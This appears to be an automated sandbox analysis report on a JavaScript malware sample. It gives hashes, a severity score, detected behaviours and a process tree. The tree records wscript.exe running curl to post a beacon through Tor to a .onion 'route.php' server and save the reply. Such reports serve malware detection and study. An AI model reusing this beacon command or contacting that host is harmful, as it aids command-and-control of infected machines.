Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
29/06/2026, 02:04
Static task
static1
Behavioral task
behavioral1
Sample
ocafa(3).js
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
ocafa(3).js
Resource
win11ltsc2024-20260618-en
3 signatures
150 seconds
General
- Target ocafa(3).js
- Size 51KB
- Sample260629-cheabab12k
- SHA256 307ded4d2e7b136f7623eb95ef9c599420e2a5ff0a95a4e0999103d874533d76
- MD5 6124d4718cd7d5f87cb8d627fd7ac01e
- SHA1 30f240c0d9155c489de60de9ca6db756ffb8f2e9
- SHA512 6cccaa7ae04c53e1f8c68640c304c90ebe5629a5c97ada00e5e9d58d9550d261576d4cbac9c0c227d5fb79e4e356d5bc837be454e0e64825125aa139d5c3198f
- SSDEEP 1536:JkVu9PYS0Npyu8n5njBNLzKSqFPm0o6ebhdMfg:kUP18F85LxaebbM4
- TLSH T1F533AD34DB4065985AF01C69859107E5B57580AACEF82B7DA3ADD17F2E44B4EC23F0F8
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
3/10
Malware Config
Signatures
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 5580 wrote to memory of 5208 5580 wscript.exe 90
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ocafa(3).js1⤵
- Suspicious use of WriteProcessMemory
PID:5580 -
C:\Windows\System32\curl.exe"C:\Windows\System32\curl.exe" -X POST -d "version=2.0&GUID=vt1!-be31eaaa&FLAG=0&GEIP=??&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile2⤵PID:5208
-